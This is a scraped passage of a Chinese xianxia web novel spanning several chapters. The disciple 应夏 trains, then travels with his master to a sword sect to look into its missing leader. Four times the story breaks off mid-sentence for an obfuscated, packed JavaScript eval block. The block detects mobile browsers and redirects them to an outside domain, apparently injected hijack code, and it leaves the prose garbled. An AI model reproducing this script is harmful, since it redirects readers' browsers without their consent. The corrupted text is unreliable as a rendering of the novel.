应夏也不介意,他问:“穆槐序,你是哪个长老门下?” 穆槐序眸光暗了暗:“……玉衡。” “哦他呀,就是那个很和善又很严苛的老头!”应夏双手交叉放在胸前,一副闲聊放松姿态,与身边紧绷的穆槐序形成鲜明对比。 “不是说他门下抓出好几个用禁阵的么?你……” 穆槐序快速反驳:“没有。” 应夏看出了他眼中暗含的不屑,问道:“那你可恨那些人?就是他们用了禁阵,所以才将你挤出内门。” 穆槐序冷笑一声:“无所谓,自作自受。” “你是不是不喜欢玉衡?那为什么拜在他门下?” 应夏刚说完便自己抢答了:“抱歉,我忘记这事不是你能选择的了。” 穆槐序垂着眼眸默认。 “那你以前可是内门弟子?还是说一直是外门的?”应夏看着他,一点儿都没意识到自己问了一个令人难堪的问题。 穆槐序抬头看见那双清澈的鹿眸,扯了下嘴角,说:“一开始是内门。” “那些人被抓后,你怎么没回内门?”问题竟是一个比一个难答。 穆槐序并不觉得是应夏有意羞辱,便回答:“我不想回去。” 应夏突然严肃起来,看着他道:“你要想清楚,内门和外门所能获得的资源完全不一样,可不能逞一时意气。” 穆槐序有些惊讶他竟说出这样一番话来,他以为应夏同样不喜欢玉衡,会和他一起同仇敌忾。现在这话,倒是真的站在他的角度为他考虑。 不知为何,心口有些暖意,他说:“谢谢你,不过我想清楚了。” 应夏粲然一笑,伸出一只手,微抬了抬下颚示意。 穆槐序看着那只白嫩修长的手,怔了怔。 “怎么,不愿意?” 穆槐序罕见地弯了唇,眉间的阴郁散去一些,伸手握住了那只节骨分明的手。 还没等二人松开,第三只手凭空窜出,也搭在了二人相握的手上,“诶,什么情况?也算我一个呗!” 应夏连忙松手后退好几步,皱着眉眼里满是嫌弃。 穆槐序倒见怪不怪,拱手道:“裴师兄。” 来人正是裴道远,唯一坚持与应夏切磋的金丹期弟子,天枢长老门下,虽然修为比应夏高,可比试却是五五开。 应夏问:“你的身法又精进了?”他们竟然都没察觉到有人接近。 他与裴道远切磋多次,基本上输的那几次都是输给他那精湛的身法步履。滑不溜秋,抓也抓不到,甚至好几次都让他直接在视线中消失,就连灵气都察觉不到一丁点。 裴道远长得一副翩翩佳公子的皮囊,他手执一柄折扇——那是裴道远的法器,配着玄衍宗白色制式的内门弟子长袍,倒是有几分出尘的俊逸。 不过完全比不上温却沧。 “再不精进,怕是你都不让我上这听雪峰了!”裴道远把折扇一展,露出一副秀丽的山水画,仔细看,那副画里的水墨还在流动。 应夏见识过那折扇的厉害,正面的水墨画会变化,其中蕴藏着极好的阵法,他曾被困过几次,后来是用咒文在阵法里大闹,才让裴道远放他出来。 当时裴道远还抓着他,哭诉道:“你瞧瞧把我辛辛苦苦画的画弄成什么样子了?你要赔我!” 后来见识过应夏的“画技”后,便再也没嚷嚷过。 “你要上来,我还拦得住你?”应夏挑眉反驳道。 裴道远嘿嘿笑了两声,不敢靠近应夏,只好一只手搭上穆槐序的肩膀,一副哥俩好的模样,道:“你叫穆槐序是吧?槐序师弟啊,也就我俩还愿意上听雪峰陪应夏切磋了,你看看原来那些个师兄弟们,哪个不是被他打了个屁滚尿流……” “你少贫嘴了。”应夏拿出骨刀,“快让开,别碍着我和穆槐序切磋。” “好吧好吧,倒是我碍事了。”裴道远举起双手作投降状,步子后退几步,竟是直接隐去了身形。 应夏与穆槐序对视一眼,皆摇摇头。应夏突然朝他眨了下眼睛,穆槐序愣了一下,应夏又点了点头,穆槐序才犹豫着也点点头。 藏在暗中的裴道远不知他俩在打什么眉眼官司,不过很快他就知道了。 应夏握着红刃骨刀,刀尖一斜,金色的灵气就熟门熟路地裹上刀身,周身的雪花飞溅,被灵气波动震荡开来。 他仔细感觉着周围的灵气波动,察觉到一处波动回弹,便立刻挥刀斩去,刚好那处就是裴道远藏匿之处。 他轻轻一垫脚,又神不知鬼不觉地换了个地方,一步便踱出好远,离二人的距离又远了些,等裴道远落脚后再望去,却只见到中心竟只站了应夏一人。 穆槐序呢?——不好! 刹那间,他感觉到一股杀气从背后袭来,好在他本就身法绝妙,回身用折扇挡住了那匕首刺向咽喉的凶狠攻势,然后借力快速闪身离开。 只此一招,已暴露了所在,应夏的刀势已经到了。 裴道远颇为无奈地硬吃下那刀,还好应夏收了些力道,只是整个人被劈到一棵树上,落了一身雪,他连忙苦哈哈道:“好了好了,我投降我认输!” 说完又给自己找面子,“你们这是二打一,我输了也正常。” 穆槐序老老实实行礼道:“裴师兄,承让。” 应夏倒是毫不客气的嘲讽:“说好的精进,就这?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736111|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴道远:“……” 裴道远差点没呕出一口血来,捏了净尘诀将身上的雪都收拾干净,恢复他翩翩公子的模样,才道:“自然是比不得你,怎么这次的刀势比上次还厉害了许多?你究竟是怎么修炼的,就算有功德金光,也没差这么多吧?” 应夏轻哼一声,眼眸里满是自得,却又很快冷静下来,说:“还不够,挡不下他一剑。” 在场的人都知道,这个他便是指的温却沧。 裴道远吸了一口气:“应夏你目标真远大,小师叔一剑自然是……” 应夏目光不善地睨了他一眼,裴道远赶忙改口:“自然是有朝一日能比得上。” 穆槐序握紧匕首,问:“还打么?” 应夏勾了唇角,握着隐隐发颤的炙热骨刀,道:“当然打,刚才勉强热了身。” 余光瞥到正要开溜的裴道远,又是快速一刀劈住了他的脚步,“别想跑,这次三个人一起打呗,反正真正的修仙者对战也不会是一对一。” 穆槐序立刻答道:“好。” 裴道远收起扇子,打了几下手心,叹了声:“自当奉陪。” - 等应夏送走那两人,已是日落西山。 他转身回屋时,见到温却沧站在门口等他,便直接问道:“师父,你觉得刚才那一战如何?” 温却沧思考了片刻,回答道:“穆槐序灵力虽比你们弱但招式狠绝,观察力敏锐,在某些时候能占上风。裴道远身法灵活,擅隐匿气息,无论是避招还是暗中攻击都极为灵巧。” “那我呢?” 温却沧故意蹙眉,似有些不知如何说:“你啊——” 应夏抬手就拿刀劈去,只是简简单单一刀,都没裹上灵气,也没用上刀势。 温却沧笑着用手接下,只感觉到一些灼热,认真道:“你的刀势比之前更强劲了,不过刀法与咒文的配合不够默契,对战中有些许滞塞,需要勤加练习了。” 应夏收回刀,撇了撇嘴:“知道了。” 有些不满他只夸了半句,后面都是说他缺点。不过虽然不高兴,但他知道温却沧说得对,便没反驳,只是没好气地进了屋,然后没等他进屋便想将门关上。 温却沧反应快,伸手抵住了,笑说:“怎么连门都不让师父进了?” 应夏瞪了他一眼。 温却沧进了屋,揉揉他的发顶,无奈道:“你学得很快,若要夸你,每天都是那些词,我都怕你听腻。若是你想听,也不是不行。” 应夏拍开他的手,“没有,谁说想听了。” “好好,是我自己想说。”温却沧纵容道。 说完,温却沧朝应夏提起另一件事:“不日我便启程去北天剑宗一趟,你可要与我一同去?” “北天剑宗?”这么突然? 温却沧手掌一翻,一只蓝色的纸鹤扇着翅膀悬停在他手心,道:“北天剑宗宗主是我的好友,这只纸鹤便是他想约我比剑的讯息。” 又一翻,纸鹤消失不见,“我看你与别人打的是不是也有些腻了?” 应夏的褐眸转了转,伸出拇指和食指比了小一节,说:“是有一点点。” 温却沧笑了笑:“正好换人练练手,如何?” 应夏鹿眸一亮:“和剑宗宗主?” “……和剑宗弟子。” 应夏扁嘴。 12. 第 12 章 北天剑宗所在地离玄衍宗可不近,坐落在整片大陆的东北端,而玄衍宗恰好在西南。 要从玄衍宗出发到北天剑宗,可得横跨大陆。好在都是修仙人士,捏个法诀不吃不喝日夜兼程的情况下,三五天便能到,若是有代步法器更快。 出发时,温却沧祭出一个玉石做的黑白棋盘,伸展变大落在地上,他站上去回头看了看应夏紧盯着棋盘的模样,露出一个温柔纵容的笑容来。 “怎么还不上来?” 应夏回过神,走上黑白棋盘,还有些新奇用脚踩了踩,这是他第一次乘坐法器,问道:“我还以为我们要用迅风诀去。” 温却沧揉了揉他的头发,说:“那也太慢了,你师父我又不是没有代步法器,有这棋盘,不出两日便能到北天剑宗。” 说着便驱动法器,黑白棋盘朝东北方向飞去。 应夏眸子一亮,虽然看得到外面的景色在快速掠过,可他竟然没有感受到一丝空间移动的感觉,甚至连风都是平地不动时的柔和! “这是几品法器?” 温却沧与他说过,法器分天地玄黄四品,其中又细分为上中下三等。玄衍宗与北天剑宗的距离,可不是日行万里不到两日便能到的,说明这个黑白棋盘至少比日行万里快。 “地品上等。”当然,这个黑白棋盘不只有代步这个功能,不然也不会成为地品。 温却沧见他好奇的模样,还多说了一句,“我们住的茅草屋是天品下等。” 应夏即便知道品阶也没有太过惊讶,实际上他对这些概念只浮于表面,并不太了解“天品”究竟代表着什么,只是觉得似乎很珍贵。 所以他便极为平淡的“哦”了一声。 棋盘法器只吸引了应夏一会儿功夫的注意力,他抬头看向温却沧,问道:“之前你说北天剑宗宗主是你的好友?” 路途难免无聊,温却沧便与应夏说起他和邢莫启的相识。 “所以,他是一个人打上玄衍宗要求和你比剑,然后你们两个就不打不相识。”应夏盘腿坐在棋盘上,一只手撑着半张脸,“那你们谁赢了?” 温却沧抚上剑柄:“不才,略胜一筹。” 应夏:“那是好几年前了,现在如何?” 温却沧思索片刻回答道:“我也不知道,上次与他见面比剑是三年前,那时他还不是宗主,我们比剑是他赢了一招。如今……倒也不好说,谁更厉害了。” “那邢莫启现在也是化神期?”应夏猜测道,“或许是知道你突破了,便邀请你再战。” “不知道。”温却沧顿了顿,“实际上,这次邀请的日子比往常早了一些。” 应夏本还想再问,温却沧却转移了话题。 “怎么样?要不要试着学剑?那样或许可以请剑宗宗主亲自教导你。” 应夏:啧,怎么还不死心。 应夏没好气地转过脸去,以实际行动表示拒绝。 温却沧看着自家徒弟气鼓鼓的脸颊,伸手戳了戳,没想到应夏竟然转头张口就咬住了他的手指。 温却沧:“……” 随后应夏立即察觉不妥,快速松口,欲盖弥彰道:“别乱碰我。”说完直接背对着温却沧。 他忍不住舔了舔牙,还好没尝出血腥味…… 怎么下意识就张口咬了?!应夏十分懊悔。 温却沧有些惊讶地看着手指上的一排牙印,不深,伸手摸了摸,竟是没第一时间将痕迹消除,只是拢在袖子里,用拇指轻轻摁了摁。 第一次被人咬,有些新奇。 温却沧抬眸瞥了眼假装无事发生继续看风景的少年,无声笑了下。 - 二人很快来到柏山,没隔多远便是北天剑宗,柏山上有一条河自山顶顺流而下,柏山镇便是位于山脚河边的城镇,规模比泉明镇大了不少。 温却沧没有停歇,驱使着棋盘飞过柏山往群山深处去。 “北天剑宗在深山老林里?” 温却沧只笑没说话,见应夏抬眸看他,才道:“马上你就知道了。” 掠过几个山头闯入云雾里,应夏才隐隐看见有道阶梯纵穿云间,不免睁大了眼睛。 那阶梯不似玄衍宗的青石长阶,而是如玉质地,两侧更有精美雕栏,立在这仙气十足的群山里颇为华贵。 应夏没想到北天剑宗这么财大气粗。 温却沧似乎知道他在想什么,说:“北天剑宗有几条灵脉,这阶梯是用灵石打造。身为修仙界第二大宗门,传承悠久,自然不会让别人看轻了自己。” 这个阶梯是北天剑宗的一个门面,造得富丽些并没什么。 应夏便站起来,望着眼前快速掠过的云雾。 与守门弟子告知身份后,那弟子明显脸色一变,却没有说什么,只引着二人前往宗主所居住的主峰。 北天剑宗与玄衍宗一样,各处都布有阵法,只有守门弟子带着他们才能进入。 还未行至主峰,便有一人迎了出来。那人身着剑宗白底黄纹服饰,衣摆处是十二道剑纹,温却沧说过这是剑宗宗主或者十二峰长老才有的。 应夏仔细端详来人,他有一张看上去就正气凛然的相貌,和气地朝温却沧拱手,道:“原来是温道友前来,有失远迎。” 温却沧认识他,一边寒暄一边给自家徒弟传音:邢莫江,邢莫启的同门师兄。 邢莫江说:“此处不是说话的地方,还请二位跟我来。” 三人一同进入了主峰的大殿,应夏十分好奇地观察着殿内设施,外面看着极为张扬华美,内里却是内敛的奢华。 入座后还上了茶,应夏端起茶杯,里头的茶叶也是极好的蕴着浓郁灵气的灵植。 温却沧开门见山道:“不知邢莫启何在?” 邢莫江皱着眉头,眼露忧虑,说:“师弟他……不瞒温道友,两个月前,师弟在柏山上发现了魔,便与那魔缠斗,后来……他就失踪了。我将柏山、柏山镇还有宗门内都掘地三尺,也没有寻见师弟的踪影,连那魔也一起消失了。” “不过好在师弟的命牌还在,说明他并没有生命危险,只是不知在何处。宗主失踪后,我与十二剑峰峰主商量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736112|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,由我暂代宗主,处理门内事宜,也对外封锁宗主失踪的消息,只说师弟正在闭关,故而外界还不知道师弟失踪的消息。” 邢莫江言辞恳切,“我也托人暗中找了试了不少寻人法器,但依旧没有任何消息……此次温道友前来,可是知道了师弟失踪的事情?” 温却沧摇头。 “那温道友今日来是为了?” “我与莫启约好比剑。” 闻言,应夏垂眸敛了神色,复又抬眸看向那个代理宗主。 邢莫江一脸惋惜与强忍的悲伤,叹道:“唉,如今倒是让温道友白跑一趟。” 温却沧说:“既然莫启有难,我自当相助。” 邢莫江慢慢露出笑容来:“多谢温道友,有你在,找到师弟的信心又多了几成!” 应夏正觉着二人你来我往的客套话非常无聊,突然听到一道极为刺耳的心声—— 「他和魔一起死了最好!」 应夏端着茶杯的手一僵,挑眉看向笑得十分和善邢莫江,哇哦。 - 二人被安排在侧殿住下。 应夏环视着极为奢华的室内摆设,手抵着下巴,思考着到底要不要和温却沧说刚才听到的心声。 关键是那句话证明不了什么,只能说明邢莫江有害邢莫启的动机。 不过…… 见温却沧坐在了桌子前,应夏一手撑了下桌面,直接坐到了桌上,斜身问他:“诶,师父,你刚才没说实话吧?出发前不还说约你比剑的日子不对,怎么在那个代理宗主邢莫江面前……你是不是怀疑他?” 这样的姿势下,温却沧只好抬头看他,将蓝色的纸鹤放飞在屋内,道:“如果莫启失踪了的话,那纸鹤是怎么回事?” 应夏直接伸手抓住了那只扑腾的纸鹤,“看那代理宗主的样子,应该是不知道你来的目的,也不知道纸鹤的事情。而且他刻意隐瞒消息已有两个月,这个时候压根不会特意找你来。” 温却沧点点头,桃花眼中映着那研究纸鹤的少年模样,纵容地问道:“你还看出了什么?” 应夏拆了那纸鹤,将蓝色的纸展开铺平,自顾自地折起纸来,一边说:“既然如此,放出这个纸鹤的人应该和我们一样,怀疑代理宗主有问题,所以才瞒着别人放出来的。” 原来的纸鹤被折成了一柄小剑的模样,应夏用那小剑指了指温却沧,继续道:“他知道纸鹤是邢莫启与你的沟通方式,但邢莫江不知道,所以用这种方式来通知你前往北天剑宗,同时也是提醒,这个邢莫江有问题,对不对?” “我想的与你差不多。”温却沧捏住那纸剑,说,“莫启失踪,获利最大者的嫌疑自然最大,但还不能妄下断言。” “我知道。”应夏松手放开纸剑,从桌子上跳下去,拍了拍衣服上根本不存在的灰尘,然后说,“所以现在得先要找到那个放纸鹤的人。” “你要做什么?” “出去转转,万一好运碰上了呢?”应夏掏出邢莫江给他们的临时令牌,拽着绳子的一端甩着圈,头也不回地走了出去。 13. 第 13 章 虽说代理宗主邢莫江给了他们临时通行令牌,但是也只是适用一些普通的公共区域,很多只有本门弟子才能进入的地方是进不去的。 应夏不知多少次被阵法弹回来,不高兴地撇着嘴,他快绕了整个北天剑宗一圈了,除了路上偶尔看见几名弟子外,就没瞅见人。 他很快拉住了一名剑宗弟子,问道:“这位道友,我初来北天剑宗,怎么看着剑宗里面没多少弟子?” 那弟子看了看应夏手中的临时令牌,说:“你不是本门弟子吧?过几天宗里会举办一年一次的试剑大会,都忙着练剑提升修为,自然不会有多少人出来闲逛。” “试剑大会?”应夏来了兴趣。 那弟子解释道:“试剑大会的规则与一般切磋不同,每个人的对手是一块极为坚硬的灵石,分层次,只要劈碎越多等级越高的灵石,就能获胜。” “真有意思,那我可以参加吗?” 闻言那剑宗弟子有些惊讶,思索片刻,回答道:“应该可以,以往也并非没有非本门修仙者参加,不过你若是想参加,需要提前报名。” 说着指了一个方向,“那里是执事堂,可以去那里报名。不过你最好早些去,明日午时,报名便截止了。” 应夏致谢后并没有立刻前往执事堂,而是又在北天剑宗内晃悠了几圈。 在他准备回去的时候,一个小小的身影拦在了面前。 那是个看上去与一左一右差不多大的小女孩,她穿着白底金纹的剑宗服饰,腰间别着一柄木剑,眉目清秀眼神透亮。 应夏蹲下身平视着她,笑着说:“你终于出来了,怎么,跟着我好久了以为我察觉不到?” 小女孩抿了抿唇,眼神戒备,道:“温却沧来了吗?” 应夏伸手想捏小女孩的脸,她很机警地躲开了,又重复了一边刚才的问题。 “来了,你找他有什么事?”应夏捧着脸看着她。 小女孩皱着眉,严肃道:“你是他的什么人?” 应夏眨了眨眼睛,说:“我是他的徒弟,你是谁?还有那只纸鹤……” 还没等应夏说完,小女孩突然甩出一道烟雾,以迅雷不及掩耳之势笼罩了二人,应夏察觉到烟雾并没有危险,只是转移能力后便没有拒绝。 眨眼间,二人便来到了一处树林深处,有一条小溪汩汩涌动,溪边是一座朴素的小木屋。 应夏看着那间小木屋,总有种听雪峰上那座茅草屋的既视感。 小女孩环顾四周确认安全后,才松了口气,说:“这里说话就安全一些。” 应夏转头看向她,问道:“怎么?你在担心什么?” “你们应该收到纸鹤了吧?”小女孩道,“我叫邢燕,是宗主邢莫启的徒弟,那只纸鹤是我送出去的,这里是师父给我的小空间,除了我和师父没人进的来。” 应夏明知故问:“你是想让我们帮你一起找邢莫启?” 邢燕点点头:“是,但是我希望你们不要相信邢莫江的话,或者说,你们应该对他有所防备,否则……” 说到此处,邢燕的眉头紧皱起来,“他可能会出手妨碍你们。” “怎么会?”应夏佯装不可置信,“明明代理宗主他看上去很为宗主着急的样子,甚至对于我们的帮助喜不自胜!” 邢燕颇为无语地道:“究竟你是小孩,还是我是小孩?邢莫江身为代理宗主,又不傻,怎会直接暴露自己。” 应夏没忍住笑了出来,鹿眸弯弯盈着点点笑意星子,衬得那面容更韶艳昳丽。 邢燕愣了一瞬,反应过来后,皱着一张小脸道:“你这人长得这么好看,怎么感觉智商有什么问题……” “没礼貌。”应夏伸手弹了一下邢燕白洁的额头,“先炸炸你罢了,不过我说的也是实话,至少邢莫江面上做得滴水不漏,那你是怎么怀疑他有问题的?有何证据?” 邢燕也不管额头上的红痕,反正不疼,继续道:“他虽面上说得好听继续寻找我师父,但是实际上除了一开始找过,后来便以不能耽误弟子们修炼为由没有再寻过师父。” 她的语气很是忿忿不平,“一个多月下来,宗门内的大家似乎都开始慢慢接受没有师父的日子,邢莫江这个代理宗主的位子越坐越稳,恐怕再过段时间,他就要成为真正的北天剑宗宗主了!” 应夏眨了下眼睛,说:“或许他对宗主之位有所觊觎。” “一开始我也是这样觉得,邢莫江他可能对宗主之位有所觊觎罢了,所以便趁此次机会想要取代师父。” 说到此处,邢燕浑身颤抖起来,她激动地说道:“但是那天我去找他的时候,察觉到了他的房间里有一丝魔气!” 一个月前。 邢燕听闻代理宗主发话不再寻找师父,也严禁众弟子为寻找宗主耽误修炼,说是如果宗主还在也不希望他们这么做,而且宗主的命牌还在,他一定还活着,也一定会想办法回来。 “我们要做的,就是好好修炼,等着宗主回来,你知道了吗?”劝邢燕的是一位温柔的师姐,她说,“燕燕,你是宗主唯一的徒弟,你应该相信宗主。而且我想宗主他也不希望你因此耽误修行,燕燕若觉得孤单,便搬过来和我一起住如何?” 邢燕红着眼睛只是摇头:“师姐,可是……是,确实不该耽误你们修行,但是、但是他是我的师父啊!我怎么能安心?师父的命牌还在,但是他一直没有回来,说明、说明师父他或许是被困住了,我们、我得去救他!” 师姐搂住小小执拗的邢燕,柔声说道:“燕燕听话,你才筑基期怎么去救宗主?” 她慢慢顺着邢燕的颈背安抚着,继续劝,“宗主已入化神期,定能无恙归来,你要在这里等他回来,知道吗?宗主知道了,也不会让你为他而赴险的。” 邢燕咬着下唇,原本清亮的眸子被泪水遮半,她从师姐的手臂下钻出来,坚持道:“我去求邢莫江师叔,让他将寻人的法器借我,就算他不想让你们找,那我也要继续找!” 说完用力抹了下双眼,头也不回地跑了出去。 邢燕刻意不去听身后师姐的呼喊,她现在满心都是那个面冷却会温柔摸她脑袋的师父。 她凭着一股勇气冲到了邢莫江的房间,可是当邢燕一推开房门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736113|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看见的却是邢莫江站在阴影中,快速将什么东西收入袖中的场景。 在那一瞬间,邢燕感觉到了令人窒息的汹涌杀意,让她小脸煞白说不出一句话来。 很快,那杀意褪去,邢莫江看了她腰上那块令牌,然后笑着问她怎么来了。 邢燕身上有邢莫启给的身份令牌,剑宗所有的地方都对她开放,而且也不会有人会在意一个孩子,那最高权限的令牌便一直挂在她身上,直到…… “师叔!我想去找师父,您把寻人的法器借给我,我继续去找师父好不好?”邢燕的泪水还是掉了下来,她踉跄地跑向前抱住邢莫江的腿,哭着哀求。 邢莫江怜惜地摸摸她的头顶,邢燕瑟缩了一下。 “你该知道我传下去命令吧?你还小,师弟他也不希望你为他耽误修行,而且师弟的命牌无虞,他一定会回来的。” 邢燕摇头说:“师叔,我不会耽误修炼的,您将法器借我,我可以……” “不行。”邢莫江冷了一瞬神情,见吓到邢燕后又恢复如常,道,“邢燕,我这也是为你好,法器驱动是需要耗费灵力的,你才多大?这些天来多少弟子空耗灵力去找,可是还是没有找到,如今不能在这么下去了。” 邢莫江严肃道:“我现在身为北天剑宗的代理宗主,不能让弟子们都耗在此处。既然师弟的命牌还在,该做的已经都做了,那现在就只能等。当然,我也会继续找的。” 他蹲下身,摸摸邢燕的头:“你还小,或许还不懂。就算师弟没回来,北天剑宗也不能因他而荒废修剑,你忘了剑宗老祖宗留下的规矩了?” 邢燕松开手,后退几步嘟起嘴,像是固执极了,说:“师叔你是大坏蛋!居然不想救师父!那我就自己去找!” 话音刚落便哭着跑走了。 “就是那个时候,你感觉到了魔气?”应期怀疑道,“你见过魔气?怎么就确定那是魔气?” 邢燕抿了抿唇,说:“师父带我杀过魔兽,我当然分辨得出。当时我一进门,就看到他将什么东西藏入袖中,太快了我没看清,虽然只有一瞬间,但我敢肯定那是魔气!” 她扁着嘴,清亮的眼睛聚集起晶莹,略带哭腔道:“没想到他竟然和魔勾结,就是他害了我师父,一定是他,一定是他想要这个宗主之位……” 应夏正以为她要哭了不知怎么安慰之时,邢燕自己忍住了泪水,继续说:“邢莫江或许也不确定我是否真的看到了,不过他还是找了个缘由将我的身份令牌拿走了,说是等师父回来再还给我,我想,这也是他对我的警告。” “你就这么告诉我了,不怕我回头就把你出卖给邢莫江?” 邢燕瞪着应夏,说:“你不会的,不然你也不会在剑宗转悠了这么久,想必你也怀疑邢莫江,才会特意来找我。不然,当时你们应该会直接将纸鹤的事情告诉他,那来见我就不会是你,而是他了。” 应夏觉得她瞪人也颇为可爱,用很无奈的语气说道:“好吧,被你猜对了,你真聪明。” “师父一直都说我聪明。”邢燕忍不住笑了下,但那笑容很短暂,如昙花一现。 14. 第 14 章 应夏看着那张稚嫩的小脸,轻声问道:“那纸鹤的事情也是你师父告诉你的?” “是的,师父与我说过他有一个好友,是玄衍宗不世出的天才温却沧,还与我说若是我有难也可以去找他,报上师父的名字他一定会帮忙的。”邢燕解释道。 “这件事是几天前我突然想起来,而且纸鹤一事师父只告诉了我一个人,邢莫江并不知道,所以我想可以借此求助。” 应夏又问:“既然邢莫江对你产生了怀疑,自然会注意你的一举一动,你是如何送出纸鹤的?” 邢燕回想了一下,说:“是师姐帮我的,我不想连累她,所以没有告诉她真相,只跟师姐说纸鹤是师父留给我的传讯符,让她帮我送出纸鹤,看看能不能找到师父。师姐对我很好,便答应我瞒着邢莫江将纸鹤送了出去。” “原来如此。” 邢燕咬了下唇,道:“既然你已经知道了原委,等回去就告诉温却沧好不好?让他想想办法救救我师父。” 应夏见她焦急,安抚了几句,并答应一定会转告温却沧,让她放心。 临走时,邢燕拉住他的衣角,忐忑嘱咐道:“你要小心,现在邢莫江应该知道我与你接触过。因为剑宗规矩,同门不可相残且我是宗主唯一的徒弟,邢莫江不会动我只会限制我。可你不一样,他或许会对你出手。” 应夏轻笑一声,摸了摸邢燕的脑袋,说:“别担心,我还怕他不成?” 邢燕满眼的怀疑之色,毕竟他们两个都是筑基期。 应夏见她不信,只好将便宜师父搬出来,“温却沧是我的师父,邢莫江不会找我麻烦的,就算他真的对我动手了,我师父也会救我的。放心好了,他出手了说不定还能抓住他的把柄呢!” 闻言,邢燕这才稍稍放心。 应夏又揉了揉她的小脑袋,说:“别担心,一定会找到你师父的。” 离开邢燕的小空间后,应夏准备早些回去将这事告诉温却沧,有些好奇他会如何应对这事。 回去路上,应夏的左手小指蓦然一动,他转身看向左侧的那片树林。 此时天色渐晚,太阳已落,星子挂上了夜幕,树林里阴暗而寂静。风吹了过来,卷起几片黄叶擦过他的衣角,像是无声的邀请。 应夏挑了挑眉,摘下银环,指骨更是颤动得厉害,他捏住皮肉下的魔骨,瞬间安静。 那树林中有魔气,明明来的时候经过并没有察觉到,反而是遇见邢燕后回程才发现…… ——好明显的圈套。 可他不得不去闯一闯,看看那魔气究竟是什么。 应夏见邢莫江的时候,根本没从他身上察觉到一丝魔气,是完完全全的修仙者,这样的人是怎么驱使魔气的呢?甚至还能与魔勾结。 在他的记忆中的魔可都不是好相与的,和魔交易都得被拔下一层皮来,邢莫江是怎么做到全然无事的?他很好奇。 应夏将银环套在了右手上,走进了那片树林。 只走了没几步,周围便被浓郁的灰雾遮掩起来,视线范围内只余几颗枯木,与来时那茂密的树林完全不同。 应夏回头看去,来时的小路也已不见,被迷雾笼罩着看不清方向。 他轻呵一声,唤出红刃骨刀,一刀烈焰便将前路的迷雾劈散,枯木景象却没有如料想中的碎裂,只是沾染上了火红的烈焰,高温令整个空间有些扭曲。 应夏尝试性的一刀并没有用太多力量,估摸着再来同样的一刀便能破解这个迷阵,所以他又劈下一刀,刀气彻底震碎了阵法。 瓷片破裂声在耳边响起,眼前的景象化成了点点尘土飘散在树林间,很快无影无踪。 正当应夏不屑地收起骨刀时,危机突然来了! 迷雾再次笼罩了周身,这回没有那些枯木,是真实的树林,而迷雾也与之前灰暗色的不同,是泛着黑红的血雾,其中有不少混沌的不知名生物游过,将应夏包围了起来。 “哈哈哈哈……”“呜呜呜——”“啊!!” 吼叫、呓语、痛呼、痴笑……各种各样的声音从危险的血雾中,犹如万鬼嚎哭!强烈的精神震荡与力量波动随之环绕而来! 应夏握紧骨刀,沉下脸色,那双清澈的鹿眸映着红雾,似乎也被逐渐染上血色。 - 在房中小憩的温却沧猛然睁开眼睛,玉佩上的灵力感应消失了,让他有些不安。 他皱起眉,天色都这么晚了,怎么应夏还没回来? 神识中那一点光芒从刚才突然被什么东西笼罩了,难道是误入了哪里的阵法或者秘境才切断了联系。 刚准备出门找人,却察觉到邢莫江在门外。 温却沧打开门,面色如常,问道:“这么晚了,是有什么事?” 邢莫江收回敲门的手,眉目间带着些许忧虑,道:“抱歉叨扰了,刚才忘记说一件事,或许和师弟失踪有关,我突然想起来,便想请温道友一同前去看看。” 温却沧想着应夏身上带着存有自己灵力的玉佩,若是遇险能抵一次元婴期的攻击,还有那个银环也是天品的护体法器,再加上他自己那柄红刃骨刀以及功德金光,至少化神期以下的危险都能化解。 而整个剑宗修为最高的人现在在他面前,其他的想来应夏自己应付得过来。 思绪只转了一瞬,便点头应下。 邢莫江眸中透出喜色,侧身摆出一个请,道:“好,那我们边走边说。” 温却沧踏出房门,随着邢莫江走回了主峰的大殿中。 “温道友还记得我之前说过的魔么?师弟就是因为与他打斗才失踪的,那时我实力不济因此受了伤。” 邢莫江说着,将右手的袖子拉了起来,手臂上横亘着一道可怖的伤痕,从手心穿过腕部纵深入臂膀中。 温却沧蹙眉:“这是为魔所伤?” “正是。”邢莫江摸着那伤痕,“魔的那一击险些让我右手的经脉尽断,这还算轻的,而且更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 